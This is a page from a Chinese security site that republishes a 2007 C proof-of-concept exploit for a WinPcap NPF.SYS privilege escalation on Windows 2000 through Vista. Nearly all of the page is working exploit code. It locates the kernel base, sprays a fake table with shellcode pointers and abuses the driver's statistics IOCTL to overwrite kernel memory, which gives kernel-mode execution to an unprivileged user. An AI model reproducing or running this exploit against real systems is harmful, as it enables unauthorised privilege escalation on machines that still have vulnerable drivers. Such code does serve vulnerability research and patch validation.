首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
WinPcap <= 4.1 NPF.SYS Privilege Elevation Vulnerability PoC Exploit
来源:http://www.48bits.com 作者:Mario 发布时间:2007-07-10  
/*
WinPcap NPF.SYS Privilege Elevation Vulnerability PoC exploit
-------------------------------------------------------------

Affected software:

(*) WinPcap versions affected (Confirmed)

- WinPcap 3.1
- WinPcap 4.1

    (*) Operating systems affected (Confirmed)

- Windows 2000 SP4 (Both server and workstation)
- Windows XP   SP2
- Windows 2003 Server
- Windows Vista !!

Description:

It's a well known issue that WinPcap security model allows non-administrator
users to use its device driver. If they don't manually unload it after using
tools such as Wireshark (ethereal), which unfortunatelly oftenly happens, this
can lead to unwanted network traffic sniffing and now with the help of this
exploit to kernel mode code execution ;-)

Remarks:

The exploit code is a PoC and was tested only against Windows XP SP2, with minor
modifications (delta offsets and changing VirtualAlloc for NtAllocVirtualMemory due
to base address restrictions in Windows Vista ) should work on all OSes commented
above.

To test the PoC, just pick any software which uses WinPcap like WireShark, then
start to sniff in any iface and close it  (so WinPcap device gets up ). Run the
exploit code (as guest user if you want) you should hit an int 3 in kernel mode :-)

Vulnerability discovered by:

Mario Ballano Bárcena,  mballano[_at_]gmail.com

http://www.48bits.com/

24, April 2007

*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

#define IOCTL_BIOCGSTATS 9031
#define OUT_SIZE 0x10
#define NDRIVERS_LIST 100

enum OSes
{
OS_WXP=1,
OS_W2K,
OS_W2K3,
OS_VISTA
};

#define WXP_DELTA 0xA67FF; // SP2 Fully patched!!
#define W2K_DELTA 0x0;
#define W2K3_DELTA 0x0;
#define WVISTA_DELTA 0x0;

DWORD  g_dwOsVersion        = 0;
LPVOID g_PatchAddress       = NULL;
LPBYTE g_WXP_PATCH_BYTES    = "\x80\x83\xff\x2C\x75\x2F\x53\xE8\xE1\xA2\xF7\xFF\x89\x45\xDC\x85";
LPBYTE g_W2K_PATCH_BYTES    = "\xCC\xCC\xCC";
LPBYTE g_W2K3_PATCH_BYTES   = "\xCC\xCC\xCC";
LPBYTE g_WVISTA_PATCH_BYTES = "\xCC\xCC\xCC";

typedef BOOL (WINAPI *PENUMDEVICES)(LPVOID*,
DWORD ,
LPDWORD);

typedef DWORD (WINAPI *PGETDEVNAME)(LPVOID ImageBase,
char  *lpBaseName,
DWORD nSize);

typedef DWORD (WINAPI* PQUERYSYSTEM)(UINT, PVOID, DWORD,PDWORD);

BOOL GetNpfDevice (char *lpNpfDevice)
{
DWORD  cb,lpType;
char  *lpList,*tmp;
HKEY  hkey;
BOOL   bRes = FALSE;

lpList = malloc(0x1000);
memset(lpList,0,0x1000);
cb = 0x1000;

if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\EAPOL\\Parameters\\General",0,KEY_READ,&hkey) == ERROR_SUCCESS )
{
printf("AQUI");
if ( RegQueryValueExA( hkey,
"InterfaceList",
0,
&lpType,
lpList,
&cb)  == ERROR_SUCCESS )
{
strcpy(lpNpfDevice,"\\\\.\\NPF_");
while(*lpList && *lpList !='{') lpList++;
tmp = lpList;
while(*lpList && *(lpList) != '}') lpList ++;
*(++lpList) = '\0';
strcat(lpNpfDevice,tmp);
bRes = TRUE;
}

}

free(lpList);

if (!bRes)
{
printf("Cannot generate NPF Device Name :-( \n");
}

return bRes;

}

LPVOID GetNtosBase (VOID)
{
HANDLE hLib;
PENUMDEVICES pEnumDeviceDrivers;
PGETDEVNAME  pGetDeviceDriverBaseName;
DWORD  lpcbNeeded,i;
LPVOID NtosBase = NULL;
LPVOID *lpImageBases = NULL;
char   lpBaseName[MAX_PATH];

if ( ( hLib = LoadLibraryA("psapi.dll")) &&
( pEnumDeviceDrivers = (PENUMDEVICES) GetProcAddress(hLib,"EnumDeviceDrivers") ) &&
( pGetDeviceDriverBaseName = (PGETDEVNAME) GetProcAddress(hLib,"GetDeviceDriverBaseNameA")) )
{

lpImageBases = malloc( sizeof(LPVOID) * NDRIVERS_LIST );
pEnumDeviceDrivers(lpImageBases,sizeof(LPVOID) * NDRIVERS_LIST,&lpcbNeeded);

if ( (lpcbNeeded / sizeof(LPVOID)) > NDRIVERS_LIST)
{
lpImageBases = realloc(lpImageBases,sizeof(LPVOID) * lpcbNeeded);
pEnumDeviceDrivers(lpImageBases,lpcbNeeded,&lpcbNeeded);
}

for (i = 0; i < (lpcbNeeded / sizeof(LPVOID)) ; i++ )
{
if ( pGetDeviceDriverBaseName(lpImageBases[i],lpBaseName,MAX_PATH) )
{
printf ("%s\n",lpBaseName);
if (!strcmp(lpBaseName,"ntoskrnl.exe"))
{
NtosBase = lpImageBases[i];
printf("NTOSKRNL Base found at %#p\n",NtosBase);
break;
}
}
}

free(lpImageBases);
}

else
{
printf("Cannot Load psapi exports!\n");
}

return NtosBase;
}

DWORD GetOSVersion (VOID)
{
OSVERSIONINFOA  osvi;
DWORD retval = 0;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);

if ( GetVersionExA(&osvi) )
{
if (osvi.dwMajorVersion == 5)
{
switch(osvi.dwMinorVersion)
{
case 0:
retval = OS_W2K;
break;
case 1:
retval = OS_WXP;
break;
case 2:
retval = OS_W2K3;
break;
}
}

else if (osvi.dwMajorVersion == 6)
{
retval = OS_VISTA;
}
}

g_dwOsVersion = retval;

return retval;
}


DWORD GetNtosDelta (VOID)
{
DWORD retval = 0;

switch(GetOSVersion())
{
case OS_VISTA:
printf("System identified as Windows Vista\n");
retval = WVISTA_DELTA;
break;
case OS_W2K:
printf("System identified as Windows 2000\n");
retval = W2K_DELTA;
break;
case OS_W2K3:
printf("System identified as Windows 2003\n");
retval = W2K3_DELTA;
break;
case OS_WXP:
printf("System identified as Windows XP\n");
retval = WXP_DELTA;
break;
default:
printf("Unidentified system!\n");
}

return retval;

}

__declspec( naked ) void ShellCode (VOID)
{
// Just debug it, to check code execution ;-)

__asm int 3;

// The patch _should_ be done fastly ... that´s why we use global vars...

switch(g_dwOsVersion)
{
case OS_VISTA:
memcpy( g_PatchAddress, g_WVISTA_PATCH_BYTES,0x10);
break;
case OS_W2K:
memcpy( g_PatchAddress, g_W2K_PATCH_BYTES,0x10);
break;
case OS_WXP:
memcpy( g_PatchAddress, g_WXP_PATCH_BYTES,0x10);
break;
case OS_W2K3:
memcpy( g_PatchAddress,g_W2K3_PATCH_BYTES,0x10);
break;
}

// Go out without raising an exception ;-), indeed this is inside a SEH frame but ... wtf! :-)

__asm
{
mov  eax, [g_PatchAddress]
inc  eax
push eax
ret
}
}



int main(int argc, char **argv)
{
HANDLE       hDevice;
LPVOID lpNtosSwitch;
DWORD cb, delta;
DWORD values[4];
LPVOID lpFakeTable;
PQUERYSYSTEM NtQuerySystemInformation;
char szNpfDevice[100];
BYTE QueryBuffer[0x24];
int i;

NtQuerySystemInformation = (PQUERYSYSTEM) GetProcAddress(GetModuleHandleA("NTDLL.DLL"),"NtQuerySystemInformation");

printf ("Searching for a valid Interface ...\n");

if ( GetNpfDevice(szNpfDevice) )
{
printf("NPF Device name generated! : %s\n",szNpfDevice);
}

else
{
printf("Cannot found any valid Interface!\n");
return 0;
}

if ( lpFakeTable = VirtualAlloc((LPVOID)0x570000,
0x20000,
MEM_COMMIT|MEM_RESERVE,
PAGE_EXECUTE_READWRITE) )
{
printf("Memory allocated at %p\n",lpFakeTable);

for ( i=0; i < ( 0x20000/sizeof(LPVOID) ); i++)
{
* ( (LPVOID *)lpFakeTable + i) = ShellCode;
}

printf("Memory mapping filled! ... \n");

}

else
{
printf("Cannot allocate memory!\n");
return 0;
}

if ( (hDevice = CreateFileA(szNpfDevice,
  GENERIC_READ|GENERIC_WRITE,
  0,
  0,
  OPEN_EXISTING,
  0,
  NULL) ) != INVALID_HANDLE_VALUE )
{
printf("Device %s succesfully opened!\n", szNpfDevice);

if ( (lpNtosSwitch = GetNtosBase()) && ( delta = GetNtosDelta()) )
{
g_PatchAddress = (LPVOID) ((LPBYTE) lpNtosSwitch + delta );

if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)values,OUT_SIZE,
&cb, 
NULL) )
{
printf("First time reading ... bytes returned %#x\n",cb);

for (i = 0;i<4;i++)
{
printf ("OutBuffer[i] = %#x\n",values[i]);
}
}

printf("Launching exploit ... \nOverwritting NTOSKRNL switch at -> %#p\n",g_PatchAddress);


if ( DeviceIoControl(hDevice,
IOCTL_BIOCGSTATS,
(LPVOID)0,0,
(LPVOID)g_PatchAddress,OUT_SIZE,
&cb, 
NULL) )

{
// Dirty trick ..
NtQuerySystemInformation(0x15,QueryBuffer,sizeof(QueryBuffer), NULL);
// Bye bye god mode!
printf("We are back from ring0!\n");
}
}
}

else
{
printf("Error: Cannot open device %s\n",szNpfDevice);
}
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Metasploit module for the buff
·Sun Java WebStart JNLP Stack B
·Apache mod_jk versions 1.2.19
·FlashBB <= 1.1.8 (sendmsg.php)
·Program Checker (sasatl.dll 1.
·Apache Tomcat Connector (mod_j
·Mail Machine <= 3.989 Local Fi
·AV Tutorial Script 1.0 Remote
·Linux Kernel < 2.6.20.2 IPV6_G
·Chilkat Zip ActiveX Component
·NeoTracePro 3.25 ActiveX Trace
·PHP 5.2.3 bz2 com_print_typein
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved